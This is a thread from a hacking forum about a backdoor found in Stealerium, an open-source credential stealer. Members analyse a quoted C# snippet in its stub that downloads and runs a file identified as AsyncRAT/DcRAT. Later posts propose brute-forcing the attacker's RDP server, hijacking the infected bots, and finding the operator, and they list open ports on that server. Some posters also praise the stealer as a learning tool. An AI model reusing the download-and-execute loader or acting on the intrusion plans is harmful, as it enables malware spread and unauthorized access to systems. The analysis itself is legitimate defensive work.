

Forum:[Hack Forums](#)

Thread: [Stealerium infects it's users](#)

Miracula - December 13, 2024, 9:37 am

I took a look at a public, and pretty known stealer called stealerium (open source, available on github), written in c# (client in .NET 4.8).

What caught my attention was the Config class from the stub ("Stealerium/Stealerium.Stub/Config.cs") which contains the function InitAsync() which should theoretically decrypt the config, but before doing that it installs & executes a file from a github repository called "svchost.exe":

```
Code string url = "REDACTED/svchost.exe";
string filePath = Path.Combine(Path.GetTempPath(), "svchost.exe");
```

```
using (HttpClient client = new HttpClient())
{
    Console.WriteLine("Downloading file...");
    byte[] fileBytes = await client.GetByteArrayAsync(url);

    if (fileBytes != null && fileBytes.Length > 0)
    {
        File.WriteAllBytes(filePath, fileBytes);

        var startInfo = new ProcessStartInfo
        {
            FileName = filePath,
            UseShellExecute = false
        };

        Process.Start(startInfo);
    }
}
```

I redacted the link (you can find it in the official repository), but I've downloaded the executable and uploaded it to VT:

<https://www.virustotal.com/gui/file/23d2e491a8c7f2f7f344764e6879d9566c9a3e55a3788038e48b346c068dde5b>

Most AVs label it as AsyncRAT. I haven't done any reverse engineering on the downloaded file, but from the name, the detections and the behavior it doesn't look as a false positive.

Another thing that is kind of strange is the fact that the author disabled issues, a place where people could've talked about that "functionality".

AnyRun Behavior Graph of "svchost.exe":

[Bastille](#) sorry for the ping, but may you take a look at this?

I am not sure if anyone already knew that Stealerium contained this snippet of code, but it seems

like the client infects anyone with Async before actually stealing the data and exfiltrating it back to the attacker.

shroomz1 - December 13, 2024, 9:51 am

Check to what server its connecting. You can do this in virustotal.

Miracula - December 13, 2024, 9:59 am

(Dec 13, 2024 10:51 AM)shroomz1 Wrote: [\[CITE\]](#) Check to what server its connecting. You can do this in virustotal.

The executable contacts 7 ips which you can see in the relations tab, but this is beyond my point.

Miracula - December 13, 2024, 10:11 am

(Dec 13, 2024 11:07 AM)shatter Wrote: [\[CITE\]](#) this is what we call a backdoor

You're right, but it was a pretty decent project, I was kinda sad to see it do something like this (keeping in mind most of the market stealers are based on Stealerium/StormKitty/Umbral), and I asked the community to make sure I wasn't stupid.

Bastille - December 13, 2024, 10:38 am

(Dec 13, 2024 10:37 AM)Miracula Wrote: [\[CITE\]](#) [Bastille](#) sorry for the ping, but may you take a look at this?

I am not sure if anyone already knew that Stealerium contained this snippet of code, but it seems like the client infects anyone with Async before actually stealing the data and exfiltrating it back to the attacker.

No worries buddy, feel free to reach out Staff when you need, but you have to reach me out when we speak about malware analysis !

Don't have a lot of time right now, I'll maybe take a look at it later tonight or tomorrow, thanks for tagging me, interesting case !

Miracula - December 13, 2024, 11:35 am

(Dec 13, 2024 11:38 AM)Bastille Wrote: [\[CITE\]](#) No worries buddy, feel free to reach out Staff when you need, but you have to reach me out when we speak about malware analysis !

Don't have a lot of time right now, I'll maybe take a look at it later tonight or tomorrow, thanks for tagging me, interesting case !

Understood, thank you!

(Dec 13, 2024 12:05 PM)shatter Wrote: [\[CITE\]](#) it's not difficult to sanitize it

True, but the code is present in the stub, so even if you sanitize/virtualize your development/testing environment, your "victims" would get infected.

skull - December 14, 2024, 4:04 am

I believe quite a lot of members here did base their own software from forking this.

Sadly I see this so often, that developers just fork it without knowing the contents of the original code base.

Trust is a funny thing, and GitHub is user managed, so not always to just be trusted.

Miracula - December 14, 2024, 4:09 am

(Dec 14, 2024 05:04 AM)skull Wrote: [\[CITE\]](#) I believe quite a lot of members here did base their own software from forking this.

Sadly I see this so often, that developers just fork it without knowing the contents of the original code base.

Trust is a funny thing, and GitHub is user managed, so not always to just be trusted. You're right, being open source doesn't mean it's not malicious. Too many devs entrust others with the task of reading /verifying the code.

Bastille - December 14, 2024, 6:35 am

Ok, so far the builder seems safe for the "hacker", however when you click on "build" the stub.exe in the Stub folder adds the svchost.exe file :

The svchost.exe payload seems "embedded" in a fake PHP project on Github (<https://github.com/kgmfth/tumblr>). Most files and folders of this project are empty, except a PHP file related to Tumblr. The account has been active since 2013, few forked repositories, not sure about the account, if it was hacked or not.

[Miracula](#) uploaded the svchost.exe file on VirusTotal : <https://www.virustotal.com/gui/file/23d2e491a8c7f2f7f344764e6879d9566c9a3e55a3788038e48b346c068dde5b/behavior>

We can see something interesting at the bottom of the "behavior" tab, the C2 server :

Not reported so far, but as the Github repo (and the svchost.exe) has been updated last week, the C2 server address as probably been updated since :

Most AV identified svchost.exe as AsyncRAT, but running it through Ghidra it seems to be DcRAT instead (which is based on AsyncRAT) : <https://github.com/gwqdanchun/DcRat>

The objective of the svchost.exe file is to embedd a RAT on the victim's computer, not the user of Stealerium (I guess), probably to use those young hackers as a spreading way for the RAT, maybe to build a botnet ?

It seems that Stealerium has been forked many times from the original source to embed malicious payload, it's probably one of these forks

Miracula - December 14, 2024, 12:08 pm

(Dec 14, 2024 07:35 AM)Bastille Wrote: [\[CITE\]](#) ...

It seems that Stealerium has been forked many times from the original source to embed malicious payload, it's probably one of these forks

Thank you for the detailed analysis and confirming my theory. I also thought about the possibility of the repo being a fork, but is the main one, that's why I was so surprised. I am pretty sure "kgmfth" was the original developer, with the initial commit from Apr 24, 2022 (also 1.2k stars on the repository).

Thank you so much, and sorry for the ping again!

F4tDoinkz - December 14, 2024, 12:11 pm

Yes of course hackers will backdoor other hackers, don't be surprised if most software related to hacking has some sort of backdoor attached to it. Especially stealers since just about anyone with a PC can use one easily, so the targets are limitless.

7 - December 14, 2024, 12:12 pm

(Dec 14, 2024 07:35 AM) Bastille Wrote: [\[CITE\]](#) Ok, so far the builder seems safe for the "hacker", however when you click on "build" the stub.exe in the Stub folder adds the svchost.exe file :

The svchost.exe payload seems "embedded" in a fake PHP project on Github (<https://github.com/kgnfth/tumblr>). Most files and folders of this project are empty, except a PHP file related to Tumblr. The account has been active since 2013, few forked repositories, not sure about the account, if it was hacked or not.

[Miracula](#) uploaded the svchost.exe file on VirusTotal : <https://www.virustotal.com/gui/file/23d2e491a8c7f2f7f344764e6879d9566c9a3e55a3788038e48b346c068dde5b/behavior>

We can see something interesting at the bottom of the "behavior" tab, the C2 server :

Not reported so far, but as the Github repo (and the svchost.exe) has been updated last week, the C2 server address as probably been updated since :

Most AV identified svchost.exe as AsyncRAT, but running it through Ghidra it seems to be DcRAT instead (which is based on AsyncRAT) : <https://github.com/gwqdanchun/DcRat>

The objective of the svchost.exe file is to embed a RAT on the victim's computer, not the user of Stealerium (I guess), probably to use those young hackers as a spreading way for the RAT, maybe to build a botnet ?

It seems that Stealerium has been forked many times from the original source to embed malicious payload, it's probably one of these forks

Confirmed Windows RDP.

Shall we brute the Admin.. Ill check for vulns tomorrow.

Miracula - December 14, 2024, 12:13 pm

(Dec 14, 2024 01:11 PM) F4tDoinkz Wrote: [\[CITE\]](#) Yes of course hackers will backdoor other hackers, don't be surprised if most software related to hacking has some sort of backdoor attached to it. Especially stealers since just about anyone with a PC can use one easily, so the targets are limitless.

You're right, but I am a big fan / member of the open source community, and also appreciated the

work that went into Stealerium.

(Dec 14, 2024 01:12 PM)7 Wrote: [\[CITE\]](#) Confirmed Windows RDP.
Shall we brute the Admin.. Ill check for vulns tomorrow.
I would say we leave it here ?

It's good that we found out the malicious snippet, I've checked the majority of the source code and it seems clean. Stealerium is still a valuable tool where newbies can learn how stealers actually work with a (somewhat) clean implementation.

7 - December 14, 2024, 12:31 pm

(Dec 14, 2024 01:13 PM)Miracula Wrote: [\[CITE\]](#) You're right, but I am a big fan / member of the open source community, and also appreciated the work that went into Stealerium.

I would say we leave it here ?

It's good that we found out the malicious snippet, I've checked the majority of the source code and it seems clean. Stealerium is still a valuable tool where newbies can learn how stealers actually work with a (somewhat) clean implementation.

I say take the RDP, send notifications to all the victims and check logs for connection into the RDP. Then track the original person down... after that there are multiple avenue but a good lesson taught.

Or just update all the bots to the new controller .. depends what side of the fence were playing. But he's using crappy malware anyway and windows GUI shit.. so not hoping for much.

Ill find out from the provider the email address used to sign up. Should be easy with a nice netcraft email.

This is the blackhat section right?

Few ports open
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
7000/tcp open afs3-fileserver

Lets crack on

Novo - December 14, 2024, 1:06 pm

Thank you, Miracula, for bringing this up; pretty cool that you noticed it.

OpenSource should be malware-free; even though it is malware, planting malware in opensource code makes the open source projects seem untrusted, which should be the opposite.